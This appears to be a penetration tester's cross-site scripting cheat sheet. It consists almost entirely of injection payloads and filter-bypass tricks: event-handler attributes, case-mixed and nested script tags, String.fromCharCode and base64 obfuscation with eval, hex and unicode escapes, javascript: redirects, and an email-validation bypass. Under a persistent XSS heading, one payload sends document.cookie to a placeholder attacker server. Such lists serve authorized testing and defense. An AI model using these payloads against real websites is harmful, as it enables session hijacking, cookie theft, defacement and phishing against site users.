Cross-Site-Scripting (XSS)



  • Identify more injection points[eg: Drop down menus]

  • Hidden fields-> Exploit using inspect element.

    • ASCII char escaping

  • Bypass char limit :Inspect element - > Tamper maxlen

  • When < > & are escaped but "and; are allowed

    • 123"onmouseover="alert(document.domain)"

    Here 123 is the field's value, onmouseover is the field attribute]

  • When developers forget to add " "for the value. We can append our payload as an additional attribute with the input value

    • test" onmouseover=alert(document.domain)

    • onerror="alert('XSS')"

    • Comment out the rest: <payload> //

This works because it's not a requirement to put quotes around an attribute value in HTML.

  • Clickable links that execute javascript but don't leave the page.

    • javascript:alert(document.domain);

    • <a href='javascript:alert(1)'

  • Escape blacklisted keywords[eg:domain,script,alert]

    • sCripT>alert(1)</sCripT>

    • <scr<script>ipt>alert(1)</scri</script>pt>

    • <script<script >alert(1)</script</script> >

    • <script>prompt("XSS")</script>

    • <a onmouseover="alert(1)">TEST</a>

    • <a onmouseout=alert(1)>TEST</a>

    • <a onmousemove=alert(1)>TEST</a>

    • <a onmouseclick=alert(1)>TEST</a>

    • <img src='zzzz' onerror=alert(1)></img>

    • <div> onmouseover=alert(1)></div>

    • <script>eval("al"%2b"ert(1)")</script>

    • Using String.fromCharCode()

      • Eg: String.fromCharCode(64) is @

      • Converting alert(1) from the ASCII to decimal would result as: String.fromCharCode(97,108,101,114,116,40,49,41)

      • Final payload: <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

  • If "<> are not escaped:

    • eval(); To execute a string as Javascript

    • atob('') Function to decode Base64 strings

    Payload: ">eval(atob('base64_encoded_payload'));

    • eval(atob('PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='));

  • Base64 encoded payload in an i-frame

"><iframe src="data:text/html;base64,base64_data"></iframe>


  • When <>" are escaped:

  • Check if Hex Encoding works in the response [ Tip: If \ is escaped, try \\]

    • 0 : \x

    • >: \x3e

    • < :\x3c

    • \x3cscript\x3ealert(document.domain);\x3c/script\x3e

  • Unicode encoding

    • >: \u003e

    • < : \u003c

  • When <script> tags are not allowed:

    <img src="http://inexist.ent" onerror="javascript:alert(1)"/>
  • Load from external sources:

  • When case-sensitive: hTtPs

  • When singe quotes' are not filtered but <> are filtered, use comments: [In source-code, this should e within <script

    • abc";alert("XSS");\\

    • abc';alert('XSS');\\

    • <script> name=hacker'; JaVaScRiPt:alert('XSS')// </script>

  • Inject on URL:



    • <url>/"><script>alert(1)</script>


  • Reference:


  • PoC: XSS Response: HTTP/1.1 302 Found location: javascript:alert(1) ... <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to target URL: <a href="javascript:alert(1)">javascript:alert(1)</a>. If not click the link.PoC: ClickJacking <iframe src="" sandbox="allow-forms"></iframe>

  • Payload to bypass simple email validation in PHP "><svg/onload=confirm(1)>"@x.y

  • A href

    • Because in JavaScript pseudo-protocol we use JS code right after the “:”, double slashes makes the payload an useless one because they turn the entire line into a comment. As a workaround we use a new line character (%0A) but double encoded since it needs to end up in the browser redirect and a single encoded new line just reflects in page’s source code.

      • javascript://%250Aalert(1)


Reflected XSS

" onload="javascript:alert('XSS')
" onload="alert(String.fromCharCode(88,83,83))
"><body onload="alert('XSS')

XSS Phishing


Deface Website

#DOM - Persistent XSS
<script>document.write('<img src="[YourServerURL]?c='%2bdocument.cookie%2b'" />');</script><script>var i=new Image();i.src=""%2bdocument.cookie;</script>


  • A website is made up of a DOM[Document Object Model], which describes the properties of a website such as URL, history, paths etc.

  • An attacker can manipulate the values of these properties to execute malicious JS. When an attacker manipulates the property, the input is passed from the DOM property to a function that can execute JS. This does not need to be displayed on the page persay. Unlike Reflected/Stored XSS.

    • eg eval: Code injection does not show on the page.

  • Sources take DOM input, Sinks does not.

Learn from

Last updated